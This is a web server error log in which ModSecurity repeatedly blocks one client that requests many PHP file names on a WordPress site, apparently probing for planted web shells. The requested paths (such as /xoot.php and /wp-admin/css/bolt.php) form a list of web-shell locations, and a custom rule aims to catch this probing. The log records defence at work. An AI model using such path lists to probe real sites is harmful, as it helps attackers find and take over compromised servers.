[Mon Feb 23 00:58:57.759833 2026] [:error] [pid 28425:tid 28515] [client 20.203.249.16:24741] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atmaca.php"] [unique_id "aZs10TO7QIkwG1UqFGzjEgAAAFY"]
[Mon Feb 23 00:58:58.232362 2026] [:error] [pid 4806:tid 4809] [client 20.203.249.16:29391] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atmaca.php"] [unique_id "aZs10vFTHI_ud-cTYbTqLwAAAQE"]
[Mon Feb 23 00:59:01.722425 2026] [:error] [pid 4806:tid 4810] [client 20.203.249.16:1841] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/opts.php"] [unique_id "aZs11fFTHI_ud-cTYbTqOQAAAQI"]
[Mon Feb 23 00:59:02.195132 2026] [:error] [pid 28425:tid 28518] [client 20.203.249.16:29020] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/opts.php"] [unique_id "aZs11jO7QIkwG1UqFGzjHAAAAFg"]
[Mon Feb 23 00:59:02.675720 2026] [:error] [pid 4806:tid 4812] [client 20.203.249.16:23404] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/opts.php"] [unique_id "aZs11vFTHI_ud-cTYbTqOwAAAQQ"]
[Mon Feb 23 00:59:03.146875 2026] [:error] [pid 28425:tid 28508] [client 20.203.249.16:23400] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/opts.php"] [unique_id "aZs11zO7QIkwG1UqFGzjHwAAAE8"]
[Mon Feb 23 00:59:03.618861 2026] [:error] [pid 28424:tid 28449] [client 20.203.249.16:25008] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "aZs11wBAZT_BJOxE-Z4jRQAAABU"]
[Mon Feb 23 00:59:04.091389 2026] [:error] [pid 28424:tid 28430] [client 20.203.249.16:1803] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "aZs12ABAZT_BJOxE-Z4jRgAAAAI"]
[Mon Feb 23 00:59:04.562747 2026] [:error] [pid 28558:tid 28582] [client 20.203.249.16:1968] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "aZs12CdFHR5e1Gd10vd4EwAAANY"]
[Mon Feb 23 00:59:05.033377 2026] [:error] [pid 28424:tid 28441] [client 20.203.249.16:23994] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "aZs12QBAZT_BJOxE-Z4jSgAAAA0"]
[Mon Feb 23 00:59:05.505444 2026] [:error] [pid 4806:tid 4827] [client 20.203.249.16:25018] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ze.php"] [unique_id "aZs12fFTHI_ud-cTYbTqQgAAARM"]
[Mon Feb 23 00:59:05.977537 2026] [:error] [pid 4806:tid 4820] [client 20.203.249.16:25014] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ze.php"] [unique_id "aZs12fFTHI_ud-cTYbTqRAAAAQw"]
[Mon Feb 23 00:59:06.450113 2026] [:error] [pid 28425:tid 28510] [client 20.203.249.16:23356] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ze.php"] [unique_id "aZs12jO7QIkwG1UqFGzjJgAAAFE"]
[Mon Feb 23 00:59:13.964090 2026] [:error] [pid 28425:tid 28495] [client 20.203.249.16:24999] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ze.php"] [unique_id "aZs14TO7QIkwG1UqFGzjNgAAAEI"]
[Mon Feb 23 00:59:14.435069 2026] [:error] [pid 28558:tid 28567] [client 20.203.249.16:19218] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/seetox.php"] [unique_id "aZs14idFHR5e1Gd10vd4GgAAAMc"]
[Mon Feb 23 00:59:14.906753 2026] [:error] [pid 28424:tid 28450] [client 20.203.249.16:23379] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/seetox.php"] [unique_id "aZs14gBAZT_BJOxE-Z4jUgAAABY"]
[Mon Feb 23 00:59:15.382441 2026] [:error] [pid 28426:tid 28524] [client 20.203.249.16:19231] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/seetox.php"] [unique_id "aZs142gbPVf4pO12NZnJoQAAAIM"]
[Mon Feb 23 00:59:15.855000 2026] [:error] [pid 28425:tid 28505] [client 20.203.249.16:23978] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/seetox.php"] [unique_id "aZs14zO7QIkwG1UqFGzjOQAAAEw"]
[Mon Feb 23 00:59:16.327959 2026] [:error] [pid 28425:tid 28496] [client 20.203.249.16:26032] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "aZs15DO7QIkwG1UqFGzjOwAAAEM"]
[Mon Feb 23 00:59:16.801866 2026] [:error] [pid 4806:tid 4824] [client 20.203.249.16:29434] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "aZs15PFTHI_ud-cTYbTqVwAAARA"]
[Mon Feb 23 00:59:17.274061 2026] [:error] [pid 28558:tid 28584] [client 20.203.249.16:22219] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "aZs15SdFHR5e1Gd10vd4HgAAANg"]
[Mon Feb 23 00:59:17.746999 2026] [:error] [pid 28425:tid 28518] [client 20.203.249.16:18501] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "aZs15TO7QIkwG1UqFGzjPwAAAFg"]
[Mon Feb 23 00:59:18.221552 2026] [:error] [pid 28425:tid 28515] [client 20.203.249.16:29383] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins.php"] [unique_id "aZs15jO7QIkwG1UqFGzjQgAAAFY"]
[Mon Feb 23 00:59:18.694841 2026] [:error] [pid 28558:tid 28561] [client 20.203.249.16:23897] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins.php"] [unique_id "aZs15idFHR5e1Gd10vd4IgAAAME"]
[Mon Feb 23 00:59:19.178763 2026] [:error] [pid 28426:tid 28539] [client 20.203.249.16:1753] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins.php"] [unique_id "aZs152gbPVf4pO12NZnJrgAAAJE"]
[Mon Feb 23 00:59:19.651551 2026] [:error] [pid 28425:tid 28503] [client 20.203.249.16:23422] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins.php"] [unique_id "aZs15zO7QIkwG1UqFGzjQwAAAEo"]
[Mon Feb 23 00:59:21.127934 2026] [:error] [pid 28425:tid 28506] [client 20.203.249.16:23879] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xoot.php"] [unique_id "aZs16TO7QIkwG1UqFGzjRwAAAE0"]
[Mon Feb 23 00:59:21.599512 2026] [:error] [pid 28558:tid 28564] [client 20.203.249.16:18952] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xoot.php"] [unique_id "aZs16SdFHR5e1Gd10vd4JgAAAMQ"]
[Mon Feb 23 00:59:22.070958 2026] [:error] [pid 28558:tid 28560] [client 20.203.249.16:1971] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xoot.php"] [unique_id "aZs16idFHR5e1Gd10vd4JwAAAMA"]
[Mon Feb 23 00:59:22.543072 2026] [:error] [pid 4806:tid 4818] [client 20.203.249.16:1791] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xoot.php"] [unique_id "aZs16vFTHI_ud-cTYbTqYwAAAQo"]
[Mon Feb 23 00:59:23.029018 2026] [:error] [pid 28558:tid 28565] [client 20.203.249.16:23408] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/X57.php"] [unique_id "aZs16ydFHR5e1Gd10vd4KAAAAMU"]
[Mon Feb 23 00:59:24.509289 2026] [:error] [pid 4806:tid 4815] [client 20.203.249.16:29428] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/X57.php"] [unique_id "aZs17PFTHI_ud-cTYbTqawAAAQc"]
[Mon Feb 23 00:59:24.980252 2026] [:error] [pid 28558:tid 28567] [client 20.203.249.16:22267] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/X57.php"] [unique_id "aZs17CdFHR5e1Gd10vd4KgAAAMc"]
[Mon Feb 23 00:59:25.451995 2026] [:error] [pid 28426:tid 28538] [client 20.203.249.16:23949] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/X57.php"] [unique_id "aZs17WgbPVf4pO12NZnJtwAAAJA"]
[Mon Feb 23 00:59:25.926466 2026] [:error] [pid 28426:tid 28522] [client 20.203.249.16:19251] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aZs17WgbPVf4pO12NZnJuAAAAIE"]
[Mon Feb 23 00:59:33.424809 2026] [:error] [pid 4806:tid 4815] [client 20.203.249.16:26512] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aZs19fFTHI_ud-cTYbTqkAAAAQc"]
[Mon Feb 23 00:59:33.896489 2026] [:error] [pid 28424:tid 28439] [client 20.203.249.16:1780] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aZs19QBAZT_BJOxE-Z4jfAAAAAs"]
[Mon Feb 23 00:59:34.371337 2026] [:error] [pid 28558:tid 28564] [client 20.203.249.16:18982] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aZs19idFHR5e1Gd10vd4NgAAAMQ"]
[Mon Feb 23 00:59:34.843991 2026] [:error] [pid 28425:tid 28510] [client 20.203.249.16:23307] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file59.php"] [unique_id "aZs19jO7QIkwG1UqFGzjWAAAAFE"]
[Mon Feb 23 00:59:35.317081 2026] [:error] [pid 28558:tid 28581] [client 20.203.249.16:22233] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file59.php"] [unique_id "aZs19ydFHR5e1Gd10vd4OQAAANU"]
[Mon Feb 23 00:59:35.787392 2026] [:error] [pid 28558:tid 28575] [client 20.203.249.16:26531] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file59.php"] [unique_id "aZs19ydFHR5e1Gd10vd4OwAAAM8"]
[Mon Feb 23 00:59:36.260063 2026] [:error] [pid 4806:tid 4811] [client 20.203.249.16:17809] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file59.php"] [unique_id "aZs1-PFTHI_ud-cTYbTqmQAAAQM"]
[Mon Feb 23 00:59:39.746480 2026] [:error] [pid 28426:tid 28544] [client 20.203.249.16:1766] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aZs1-2gbPVf4pO12NZnJ0AAAAJY"]
[Mon Feb 23 00:59:40.217534 2026] [:error] [pid 4806:tid 4825] [client 20.203.249.16:23973] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aZs1_PFTHI_ud-cTYbTqrgAAARE"]
[Mon Feb 23 01:00:30.362758 2026] [:error] [pid 28425:tid 28506] [client 20.203.249.16:26015] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/un.php"] [unique_id "aZs2LjO7QIkwG1UqFGzjrgAAAE0"]
[Mon Feb 23 01:00:30.844134 2026] [:error] [pid 28558:tid 28571] [client 20.203.249.16:21369] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/un.php"] [unique_id "aZs2LidFHR5e1Gd10vd4lwAAAMs"]
[Mon Feb 23 01:00:31.316608 2026] [:error] [pid 4806:tid 4826] [client 20.203.249.16:8214] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/un.php"] [unique_id "aZs2L_FTHI_ud-cTYbTrQgAAARI"]
[Mon Feb 23 01:00:31.789671 2026] [:error] [pid 4806:tid 4823] [client 20.203.249.16:18293] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/un.php"] [unique_id "aZs2L_FTHI_ud-cTYbTrRQAAAQ8"]
[Mon Feb 23 01:00:32.280781 2026] [:error] [pid 28425:tid 28500] [client 20.203.249.16:19581] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aZs2MDO7QIkwG1UqFGzjsgAAAEc"]
[Mon Feb 23 01:00:32.781218 2026] [:error] [pid 4806:tid 4812] [client 20.203.249.16:19530] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aZs2MPFTHI_ud-cTYbTrRwAAAQQ"]
[Mon Feb 23 01:00:40.277720 2026] [:error] [pid 28424:tid 28443] [client 20.203.249.16:23127] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aZs2OABAZT_BJOxE-Z4jqwAAAA8"]
[Mon Feb 23 01:00:40.748789 2026] [:error] [pid 28424:tid 28428] [client 20.203.249.16:16672] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aZs2OABAZT_BJOxE-Z4jrQAAAAA"]
[Mon Feb 23 01:00:41.224079 2026] [:error] [pid 4806:tid 4818] [client 20.203.249.16:16333] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "aZs2OfFTHI_ud-cTYbTrfQAAAQo"]
[Mon Feb 23 01:00:41.695408 2026] [:error] [pid 28425:tid 28502] [client 20.203.249.16:16701] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "aZs2OTO7QIkwG1UqFGzjxgAAAEk"]
[Mon Feb 23 01:00:42.169452 2026] [:error] [pid 28425:tid 28505] [client 20.203.249.16:23655] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "aZs2OjO7QIkwG1UqFGzjyAAAAEw"]
[Mon Feb 23 01:00:42.641618 2026] [:error] [pid 28426:tid 28533] [client 20.203.249.16:29615] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "aZs2OmgbPVf4pO12NZnKKQAAAIs"]
